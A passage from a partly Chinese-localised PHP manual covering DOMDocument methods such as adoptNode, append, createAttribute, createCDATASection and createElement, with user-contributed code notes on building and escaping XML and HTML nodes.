            $element->setAttribute( 'media', $media );
            $this->styles[] = $element;
        }

        public function addScript ( $url )
        {
            $element = $this->document->createElement( 'script', ' ' );
            $element->setAttribute( 'type', 'text/javascript' );
            $element->setAttribute( 'src', $url );
            $this->scripts[] = $element;
        }

        public function addMetaTag ( $name, $content )
        {
            $element = $this->document->createElement( 'meta' );
            $element->setAttribute( 'name', $name );
            $element->setAttribute( 'content', $content );
            $this->metas[] = $element;
        }

        public function setDescription ( $dec )
        {
            $this->addMetaTag( 'description', $dec );
        }

        public function setKeywords ( $keywords )
        {
            $this->addMetaTag( 'keywords', $keywords );
        }

        public function createElement ( $nodeName, $nodeValue=null )
        {
          return $this->document->createElement( $nodeName, $nodeValue );
        }

        public function assemble ( )
        {
            // Doctype creation
            $doctype = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML TRANSITIONAL 1.0//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">';

            // Create the head element
            $title = $this->document->createElement( 'title', $this->title );
            // Add stylesheets if needed
            if ( is_array( $this->styles ))
                foreach ( $this->styles as $element )
                    $this->head->appendChild( $element );
            // Add scripts if needed
            if(  is_array( $this->scripts ))
                foreach ( $this->scripts as $element )
                    $this->head->appendChild( $element );
            // Add meta tags if needed
            if ( is_array( $this->metas ))
                foreach ( $this->metas as $element )
                    $this->head->appendChild( $element );
            $this->head->appendChild( $title );

            // Create the document
            $html = $this->document->createElement( 'html' );
            $html->setAttribute( 'xmlns', 'http://www.w3.org/1999/xhtml' );
            $html->setAttribute( 'xml:lang', 'en' );
            $html->setAttribute( 'lang', 'en' );
            $html->appendChild( $this->head );
            $html->appendChild( $this->body );

            $this->document->appendChild( $html );
            return $doctype . $this->document->saveXML( );
        }

    }

?>

Small example

<?php
        $document = new Document( );
    $document->title = 'Hello';
    $document->addStyleSheet( 'StyleSheets/main.css' );
    $div = $document->createElement( 'div' );
    $div->nodeValue = 'Hello, world!';
    $div->setAttribute( 'style', 'color: red;' );
    $document->body->appendChild( $div );
    printf( '%s', $document->assemble( ) );
?>
cmyk777 at gmail dot com 23-May-2009 12:31
This function may help to debug current dom element:

<?php
function dom_dump($obj) {
    if ($classname = get_class($obj)) {
        $retval = "Instance of $classname, node list: \n";
        switch (true) {
            case ($obj instanceof DOMDocument):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->saveXML($obj);
                break;
            case ($obj instanceof DOMElement):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMAttr):
                $retval .= "XPath: {$obj->getNodePath()}\n".$obj->ownerDocument->saveXML($obj);
                //$retval .= $obj->ownerDocument->saveXML($obj);
                break;
            case ($obj instanceof DOMNodeList):
                for ($i = 0; $i < $obj->length; $i++) {
                    $retval .= "Item #$i, XPath: {$obj->item($i)->getNodePath()}\n".
"{$obj->item($i)->ownerDocument->saveXML($obj->item($i))}\n";
                }
                break;
            default:
                return "Instance of unknown class";
        }
    } else {
        return 'no elements...';
    }
    return htmlspecialchars($retval);
}
?>

Example usage:

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$body = $dom->documentElement->getElementsByTagName('book');
echo '<pre>'.dom_dump($body).'<pre>';
?>

Output:

Instance of DOMNodeList, node list:
Item #0, XPath: /library/book[1]
<book isbn="0345342968">
<title>Fahrenheit 451</title>
<author>R. Bradbury</author>
<publisher>Del Rey</publisher>
</book>
Item #1, XPath: /library/book[2]
<book isbn="0048231398">
<title>The Silmarillion</title>
<author>J.R.R. Tolkien</author>
<publisher>G. Allen &amp; Unwin</publisher>
</book>
Item #2, XPath: /library/book[3]
<book isbn="0451524934">
<title>1984</title>
<author>G. Orwell</author>
<publisher>Signet</publisher>
</book>
Item #3, XPath: /library/book[4]
<book isbn="031219126X">
<title>Frankenstein</title>
<author>M. Shelley</author>
<publisher>Bedford</publisher>
</book>
Item #4, XPath: /library/book[5]
<book isbn="0312863551">
<title>The Moon Is a Harsh Mistress</title>
<author>R. A. Heinlein</author>
<publisher>Orb</publisher>
</book>
Fernando H 11-Apr-2008 12:48
Showing a quick example of how to use this class, just so that new users can get a quick start without having to figure it all out by themself. ( At the day of posting, this documentation just got added and is lacking examples. )

<?php

// Set the content type to be XML, so that the browser will   recognise it as XML.
header( "content-type: application/xml; charset=ISO-8859-15" );

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

// Create some elements.
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track", "The ninth symphony" );

// Set the attributes.
$xml_track->setAttribute( "length", "0:01:15" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );

// Create another element, just to show you can add any (realistic to computer) number of sublevels.
$xml_note = $xml->createElement( "Note", "The last symphony composed by Ludwig van Beethoven." );

// Append the whole bunch.
$xml_track->appendChild( $xml_note );
$xml_album->appendChild( $xml_track );

// Repeat the above with some different values..
$xml_track = $xml->createElement( "Track", "Highway Blues" );

$xml_track->setAttribute( "length", "0:01:33" );
$xml_track->setAttribute( "bitrate", "64kb/s" );
$xml_track->setAttribute( "channels", "2" );
$xml_album->appendChild( $xml_track );

$xml->appendChild( $xml_album );

// Parse the XML.
print $xml->saveXML();

?>

Output:
<Album>
  <Track length="0:01:15" bitrate="64kb/s" channels="2">
    The ninth symphony
    <Note>
      The last symphony composed by Ludwig van Beethoven.
    </Note>
  </Track>
  <Track length="0:01:33" bitrate="64kb/s" channels="2">Highway Blues</Track>
</Album>

If you want your PHP->DOM code to run under the .xml extension, you should set your webserver up to run the .xml extension with PHP ( Refer to the installation/configuration configuration for PHP on how to do this ).

Note that this:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = $xml->createElement( "Album" );
$xml_track = $xml->createElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

is NOT the same as this:
<?php
// Will NOT work.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml_track = new DOMElement( "Track" );
$xml_album->appendChild( $xml_track );
$xml->appendChild( $xml_album );
?>

although this will work:
<?php
$xml = new DOMDocument( "1.0", "ISO-8859-15" );
$xml_album = new DOMElement( "Album" );
$xml->appendChild( $xml_album );
?>


Transfer a node from another document

  • ? DOMDocument
  • DOMDocument::append ?
  • PHP Manual
  • DOMDocument
  • Transfer a node from another document

DOMDocument::adoptNode

(PHP >= 8.3)

DOMDocument::adoptNode — Transfer a node from another document

说明

public DOMDocument::adoptNode(DOMNode $node): DOMNode|false

Transfer a node from another document into the current document.

参数

node

The node to transfer.

返回值

The node that was transfered, or false on error.

错误／异常

DOM_NOT_SUPPORTED_ERR

Raised if the node type is not supported for document transfers.

示例

Example #1 DOMDocument::adoptNode() example

Transfers the hello element from the first document to the second one.

<?php
$doc1 = new DOMDocument;
$doc1->loadXML("<container><hello><world/></hello></container>");
$hello = $doc1->documentElement->firstChild;

$doc2 = new DOMDocument;
$doc2->loadXML("<root/>");
$doc2->documentElement->appendChild($doc2->adoptNode($hello));

echo $doc1->saveXML() . PHP_EOL;
echo $doc2->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<container/>

<?xml version="1.0"?>
<root><hello><world/></hello></root>

参见

  • DOMDocument::importNode() - Import node into current document

User Contributed Notes

There are no user contributed notes for this page.


Appends nodes after the last child node

  • ? DOMDocument::adoptNode
  • DOMDocument::__construct ?
  • PHP Manual
  • DOMDocument
  • Appends nodes after the last child node

DOMDocument::append

(PHP 8)

DOMDocument::append — Appends nodes after the last child node

说明

public DOMDocument::append(DOMNode|string ...$nodes): void

Appends one or many nodes to the list of children after the last child node.

参数

nodes

The nodes to append. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocument::append() example

Adds nodes after the document root.

<?php
$doc = new DOMDocument;
$doc->loadXML("<hello/>");

$doc->append("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<hello/>
beautiful
<world/>

参见

  • DOMParentNode::append() - Appends nodes after the last child node
  • DOMDocument::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DOMDocument object

  • ? DOMDocument::append
  • DOMDocument::createAttribute ?
  • PHP Manual
  • DOMDocument
  • Creates a new DOMDocument object

DOMDocument::__construct

(PHP 5, PHP 7, PHP 8)

DOMDocument::__construct — Creates a new DOMDocument object

说明

public DOMDocument::__construct(string $version = "1.0", string $encoding = "")

Creates a new DOMDocument object.

参数

version

The version number of the document as part of the XML declaration.

encoding

The encoding of the document as part of the XML declaration.

示例

Example #1 Creating a new DOMDocument

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');

echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?> */

?>

参见

  • DOMImplementation::createDocument() - Creates a DOMDocument object of the specified type with its document element

User Contributed Notes

qrworld.net 11-Nov-2014 04:36
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
_ michael 01-Jun-2010 07:23
The constuctor arguments are useful if you want to build a new document using createElement, appendChild etc.

By contrast, these arguments are overriden as soon as you load a document from source by calling load() or loadXML().

* If the source contains an XML declaration specifying an encoding, that encoding is used.
* If the XML declaration does not specify an encoding, or if the source does not contain a declaration at all, UTF-8 is assumed.

This behaviour applies no matter what you declared when you called new DOMDocument().
blackhailang at gmail dot com 09-Oct-2008 07:54
domdocument::domdocument() expects at least
At the least, I found that It due to ZEND optimizer, uninstall it,working well, but the speeds will be slowlly :-(.

Comment :
item 1 : 2008-10-03 17:10:58, gkrong said:
"Warning: domdocument::domdocument() expects at least 1
 parameter"
If you use PHP 5 in windows, you don't need to declare
php_domxml.dll in your php.ini file.
so u can give comment in the line php_domxml.dll in your
php.ini file.
you only need to comment it out, but do not delete the
php_domxml.dll file in the ext directory.
steve at mrclay dot org 08-Oct-2008 09:45
To expand on bholbrook's comment, if you receive this: "Warning: domdocument::domdocument() expects at least 1 parameter", it is due to the old domxml extension, which you need to disable.

domxml overwrites DOMDocument::_construct with an alias to domxml_open_mem, so this code:
<?php
$doc = new DOMDocument();
?>
...essentially does this:
<?php
$dom = domxml_open_mem();
?>
...which is why PHP complains about expecting at least 1 parameter (it expects a string of XML).
christian dot reinecke at web dot de 15-Jul-2008 07:09
If you get the error message "domdocument::domdocument() expects parameter 2 to be long, string given"  for a code sample like this:

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

which is obviously correct if you compare the constructor signature:

__construct  ([ string $version  [, string $encoding  ]] )

make sure you're not overwritting this dom library by another (f.e. extension=php_domxml.dll in php.ini). XAMPP f.e. delivers its standard version with php_domxml.dll which ends up in this error message
dave at revlob dot com 14-Feb-2008 02:07
@Jarl

Not sure if this is what you meant when you said "The constructor example clearly shows that version and encoding only end up in the XML header", but you can also affect other parameters in the generated XML header, by accessing the DOMDocument's properties, for example:

<?php

$dom = new DOMDocument('1.0', 'UTF-8');
$dom->xmlStandalone = false;
echo $dom->saveXML();

// <?xml version="1.0" encoding="UTF-8" standalone="no"?>
bholbrook at servillian dot com 05-Dec-2007 02:25
Make sure that php_domxml.dll on windows is removed before using the domdocument class as they cannot coexist.
jarl kringelding skim punt com 24-Sep-2007 02:22
Be aware using the encoding parameter in the constructor.
It does not mean that all data is automatically encoded for you in the supplied encoding. You need to do that yourself once you choose an encoding other than the default UTF-8. See the note on DOM Functions on how to properly work with other encodings...

The constructor example clearly shows that version and encoding only end up in the XML header.


Create new attribute

  • ? DOMDocument::__construct
  • DOMDocument::createAttributeNS ?
  • PHP Manual
  • DOMDocument
  • Create new attribute

DOMDocument::createAttribute

(PHP 5, PHP 7, PHP 8)

DOMDocument::createAttribute — Create new attribute

说明

public DOMDocument::createAttribute(string $localName): DOMAttr|false

This function creates a new instance of class DOMAttr. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

localName

The name of the attribute.

返回值

The new DOMAttr or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if localName contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Skateside 05-Apr-2013 04:16
This may be obvious to most people, but it gave me a few minutes of head-scratching before I figured it out, but ampersands need to be properly escaped as HTML entities.

<?php
$doc= new DOMDocument('1.0', "UTF-8");

$invalid_elem = $doc->createElement('field', 'incorrect attribute');
$invalid_attr = $doc->createAttribute('name');
$invalid_attr->value = 'foo&bar';
$invalid_elem->appendChild($invalid_attr);
$doc->appendChild($invalid_elem);

$valid_elem = $doc->createElement('field', 'correct attribute');
$valid_attr = $doc->createAttribute('name');
$valid_attr->value = 'foo&amp;bar';
$valid_elem->appendChild($valid_attr);
$doc->appendChild($valid_elem);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="foo">incorrect attribute</field>
<field name="foo&bar">correct attribute</field>

As near as I can figure out, no exception is thrown for an invalid attribute. This will affect DOMDocuments created as HTML as well as XML.
Beerkeeper 09-Nov-2011 07:19
Just in case it isn't clear (like I had), an example:

<?php

$domDocument = new DOMDocument('1.0', "UTF-8");
$domElement = $domDocument->createElement('field','some random data');
$domAttribute = $domDocument->createAttribute('name');

// Value for the created attribute
$domAttribute->value = 'attributevalue';

// Don't forget to append it to the element
$domElement->appendChild($domAttribute);

// Append it to the document itself
$domDocument->appendChild($domElement);

?>

Will output:
<?xml version="1.0" encoding="UTF-8"?>
<field name="attributevalue">some random data</field>


Create new attribute node with an associated namespace

  • ? DOMDocument::createAttribute
  • DOMDocument::createCDATASection ?
  • PHP Manual
  • DOMDocument
  • Create new attribute node with an associated namespace

DOMDocument::createAttributeNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::createAttributeNS — Create new attribute node with an associated namespace

说明

public DOMDocument::createAttributeNS(?string $namespace, string $qualifiedName): DOMAttr|false

This function creates a new instance of class DOMAttr. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

namespace

The URI of the namespace.

qualifiedName

The tag name and prefix of the attribute, as prefix:tagname.

返回值

The new DOMAttr or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a malformed qualified name, or if qualifiedName has a prefix and namespace is null.

更新日志

版本 | 说明
8.3.0 | Calling this method without specifying a prefix will now choose a prefix instead of assuming the default namespace. Previously this would create an attribute without a prefix and incorrectly apply the namespace to the owner element because default namespaces don't apply on attributes.
8.3.0 | Calling this method using a prefix that was already declared on the owner element with a different namespace URI will now change the new prefix to avoid creating namespace conflicts. This aligns the behaviour with the DOM specification. Previously this threw a DOMException with code DOM_NAMESPACE_ERR.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

_ michael 01-Jun-2010 07:35
If a new namespace is introduced while creating and inserting an attribute, createAttributeNS() does not behave in the same way as createElementNS().

(1) Location: With createAttributeNS(), the new namespace is declared at the level of the document element. By contrast, createElementNS() declares the new namespace at the level of the affected element itself.

(2) Timing: With createAttributeNS(), the new namespace is declared in the document as soon as the attribute is created - the attribute does not actually have to be inserted. createElementNS() doesn't affect the document as long as the element is not inserted.

An example:

<?php

    $source = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<root><tag></tag></root>
XML;

    /*

     I. createAttributeNS:
     * a new namespace shows up immediately, even without insertion of the attribute
     * the new namespace is declared at the level of the document element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We just create a "namespace'd" attribute without appending it to any element.
    $attr_ns = $doc->createAttributeNS( '{namespace_uri_here}', 'example:attr' );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, having been added to the document element. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag/></root>

    */

    // (2) Next, we give the attribute a value and insert it.
    $attr_ns->value = 'value';
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $attr_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The "namespace'd" attribute shows up as well. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root xmlns:example="{namespace_uri_here}"><tag example:attr="value"/></root>

    */

    /*

     II. createElementNS:
     * a new namespace shows up only when the element is inserted
     * the new namespace is declared at the level of the inserted element

    */

    $doc = new DOMDocument( '1.0' );
    $doc->loadXML( $source );

    // (1) We create a "namespace'd" element without inserting it into the document.
    $elem_ns = $doc->createElementNS( '{namespace_uri_here}', 'example:newtag' );

    print $doc->saveXML() . "\n";

    /*
      Result: The document remains unchanged. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag/></root>

    */

    // (2) Next, we insert the new element.
    $doc->getElementsByTagName( 'tag' )->item(0)->appendChild( $elem_ns );

    print $doc->saveXML() . "\n";

    /*
      Result: The namespace declaration appears, and it is embedded in the element using it. Output:

      <?xml version="1.0" encoding="UTF-8"?>
      <root><tag><example:newtag xmlns:example="{namespace_uri_here}"/></tag></root>

    */

?>


Create new cdata node

  • ? DOMDocument::createAttributeNS
  • DOMDocument::createComment ?
  • PHP Manual
  • DOMDocument
  • Create new cdata node

DOMDocument::createCDATASection

(PHP 5, PHP 7, PHP 8)

DOMDocument::createCDATASection — Create new cdata node

说明

public DOMDocument::createCDATASection(string $data): DOMCdataSection|false

This function creates a new instance of class DOMCDATASection. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

data

The content of the cdata.

返回值

The new DOMCDATASection or false if an error occurred.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Marc info[at]braincast.nl 08-Mar-2011 01:55
Here's some code that takes an associative array and prints it asXML() but creates CDATA sections for each string

<?php
class SimpleXMLExtended extends SimpleXMLElement{
    public function addCData($string){
        $dom = dom_import_simplexml($this);
        $cdata = $dom->ownerDocument->createCDATASection($string);
        $dom->appendChild($cdata);
    }
}
function assocArrayToXML($root_element_name,$ar){
    $xml = new SimpleXMLExtended("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    if (!is_numeric($k))$ch=$c->addChild($k);
                    else $ch = $c->addChild(substr($c->getName(),0,-1));
                    $f($f,$ch,$v);
                } else {
                    if (is_numeric($v)){ $c->addChild($k, $v);
                    }else{$n = $c->addChild($k); $n->addCData($v);}
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}

/* sample */
$result = array("title"=>"CDATA Sample");
$result['items'] = array();
$result['items'][] = array('title'=>'Some string', 'number' => 1);
$result['items'][] = array('title'=>'Some string', 'number' => 2);
$result['items'][] = array('title'=>'Some string', 'number' => 3);

echo assocArrayToXML('result',$result);
?>

The is_numeric check could be changed by a more elaborate regular expression to check if the string is actually xml unsafe but this worked for me.
jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:44
If you would like to refer to the documentation for the class of the returned object, see http://www.php.net/manual/en/class.domcharacterdata.php
info at troptoek dot com 24-Mar-2008 09:40
A common issue seems to be adding javascript to CDATA and the browser throwing a javascript error. To ensure the javascript works use the following code when adding CDATA:

<?php
/**
 * Append Caracter Data to a node and check for a javascript node
 *
 * @param DOMElement $appendToNode
 * @param string $text
 */
function appendCdata($appendToNode, $text)
{
    if (strtolower($appendToNode->nodeName) == 'script') {  // Javascript hack
        $cm = $appendToNode->ownerDocument->createTextNode("\n//");
        $ct = $appendToNode->ownerDocument->createCDATASection("\n" . $text . "\n//");
        $appendToNode->appendChild($cm);
        $appendToNode->appendChild($ct);
    } else {  // Normal CDATA node
        $ct = $appendToNode->ownerDocument->createCDATASection($text);
        $appendToNode->appendChild($ct);
    }
}
?>
The result should be:

<script type="text/javascript">
//<![CDATA[
function someJsText() {
   document.write('Some js with <a href="#">HTML</a> content');
}
//]]></script>
loathsome 04-Aug-2007 02:28
Here's a function that will create a CDATA-section around a string coming from SimpleXML.

<?php
function sxml_cdata($path, $string){
  $dom = dom_import_simplexml($path);
  $cdata = $dom->ownerDocument->createCDATASection($string);
  $dom->appendChild($cdata);
}
?>


Create new comment node

  • ? DOMDocument::createCDATASection
  • DOMDocument::createDocumentFragment ?
  • PHP Manual
  • DOMDocument
  • Create new comment node

DOMDocument::createComment

(PHP 5, PHP 7, PHP 8)

DOMDocument::createComment — Create new comment node

说明

public DOMDocument::createComment(string $data): DOMComment

This function creates a new instance of class DOMComment. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

data

The content of the comment.

返回值

The new DOMComment.

更新日志

版本 | 说明
8.1.0 | In case of an error, a DomException is thrown now. Previously, false was returned.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

php dot sirlancelot at spamgourmet dot com 25-Nov-2009 12:10
To prevent a parser error when the comment string would contain the character sequence "--", do this:

<?php

$CommentString = 'This contains -- some weird -- characters.';

$CommentNode = $DomDocument->createComment(
        str_replace('--', '-'.chr(194).chr(173).'-', $CommentString)
);
?>

This will insert a Soft Hyphen in between the two hyphens which will not cause the parser to error out.
capps at solareclipse dot net 29-Mar-2007 03:55
Use caution: this function does NOT escape, encode, or otherwise change the contents of the string.

This means that if your string contains two hyphens in a row (--), that will *end* the comment, which can easily create invalid XML when the document is serialized.


Create new document fragment

  • ? DOMDocument::createComment
  • DOMDocument::createElement ?
  • PHP Manual
  • DOMDocument
  • Create new document fragment

DOMDocument::createDocumentFragment

(PHP 5, PHP 7, PHP 8)

DOMDocument::createDocumentFragment — Create new document fragment

说明

public DOMDocument::createDocumentFragment(): DOMDocumentFragment

This function creates a new instance of class DOMDocumentFragment. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

此函数没有参数。

返回值

The new DOMDocumentFragment.

更新日志

版本 | 说明
8.1.0 | In case of an error, a DomException is thrown now. Previously, false was returned.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

info at ensostudio dot ru 14-Dec-2021 07:37
You can use fragments to set inner HTML:
<?php
$dom = new DOMImplementation();
$document = $dom->createDocument(null, 'html', $dom->createDocumentType('html'));

$div = $document->appendChild($document->createElement('div', '<small>test</small> me'));
echo $document->saveHTML($div);
// <div>&lt;small&gt;test&lt;/small&gt; me</div>

$div = $document->appendChild($document->createElement('div'));
$div->nodeValue = '<small>test</small> me';
echo $document->saveHTML($div);
// <div>&lt;small&gt;test&lt;/small&gt; me</div>

$div = $document->appendChild($document->createElement('div'));
$divInner = $document->createDocumentFragment();
$divInner->appendXML('<small>test</small> me');
$div->appendChild($divInner);
echo $document->saveHTML($div);
// <div><small>test</small> me</div>

?>


Create new element node

  • ? DOMDocument::createDocumentFragment
  • DOMDocument::createElementNS ?
  • PHP Manual
  • DOMDocument
  • Create new element node

DOMDocument::createElement

(PHP 5, PHP 7, PHP 8)

DOMDocument::createElement — Create new element node

说明

public DOMDocument::createElement(string $localName, string $value = ""): DOMElement|false

This function creates a new instance of class DOMElement. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

localName

The tag name of the element.

value

The value of the element. By default, an empty element will be created. The value can also be set later with DOMElement::$nodeValue.

The value is used verbatim except that the < and > entity references will escaped. Note that & has to be manually escaped; otherwise it is regarded as starting an entity reference. Also " won't be escaped.

返回值

Returns a new instance of class DOMElement or false if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if localName contains an invalid character.

示例

Example #1 Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElement('test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

以上示例会输出：

<?xml version="1.0" encoding="utf-8"?>
<test>This is the root element!</test>

Example #2 Passing text containing an unescaped & as value

<?php
$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->createElement('foo', 'me & you');
$dom->appendChild($element);
echo $dom->saveXML();
?>

以上示例的输出类似于：

Warning: DOMDocument::createElement(): unterminated entity reference             you in /in/BjTCg on line 4
<?xml version="1.0" encoding="utf-8"?>
<foo/>

注释

Note:

The value will not be escaped. Use DOMDocument::createTextNode() to create a text node with escaping support.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

dignat at yahoo dot com 15-Nov-2017 10:25
To create an element with DomDocument and to escape ampersand in the value.

Do this:

$element = new DOMDocument('1.0', 'UTF-8');

$test = $element->createElement('text');

$test ->appendChild($element->createElement('name'))
      ->appendChild($element->createtextNode('& I am ampersand');
tschmieder at bitworks dot de 24-Mar-2015 05:42
Remember:

If you want to perform multiple actions with a new node, you may need to create a copy of it before

means:
## Create an address to an unique memory block !
$td = $dom->createElement('td');
## Change some things in this original unique pattern
$td->setAttribute('class', 'saldo');

## clone the unique pattern to two own one's
$td1 = clone $td;
$td2 = clone $td;

## alter properties in each one
$td1->nodeValue = 'Ich bin die erste neue Node';
$td2->nodeValue = 'Ich bin die zweite neue Node';

## find the parent element
$tr = $dom->getElementById('t001-tr001');
## find the first and the last child (here only for clearity)
$first = $tr->firstChild;
$last = $tr->lastChild;

## produce the new nodes
$newtd1 = $tr->insertBefore($td1, $first);
$newtd2 = $tr->appendChild($td2);

conclusion:
YOU NEED AN ORIGINAL NEW NODE FOR EACH ACTION!
funkathustra 04-Mar-2012 08:44
Although the built-in DOM functions are great, since they're designed to support generic XML, generating HTML DOMs becomes particularly verbose. I ended up writing this function to drastically speed things up.
Instead of calling something like
<?php
  $div = $dom->createElement("div");
  $div->setAttribute("class","MyClass");
  $div->setAttribute("id","MyID");
  $someOtherDiv->appendChild($div);
?>
you can accomplish the same thing with:
<?php
  $div = newElement("div", $someOtherDiv, "class=MyClass;id=MyID");
?>
The "key1=value;key2=value" syntax is really fast to use, but obviously doesn't hold up if your content has those characters in it. So, you can also pass it an array:
<?php
  $div = newElement("div", $someOtherDiv, array("class","MyClass"));
?>
Or an array of arrays, representing different attributes:
<?php
  $div = newElement("form", $someOtherDiv, array(array("method","get"), array("action","/refer/?id=5");
?>

Here's the function:

<?php
function newElement($type, $insertInto = NULL, $params=NULL, $content="")
    {
        $tempEl =  $this->dom->createElement($type, $content);
        if(gettype($params) == "string" && strlen($params) > 0)
        {
            $attributesCollection =split(";", $params);
            foreach($attributesCollection  as $attribute)
            {
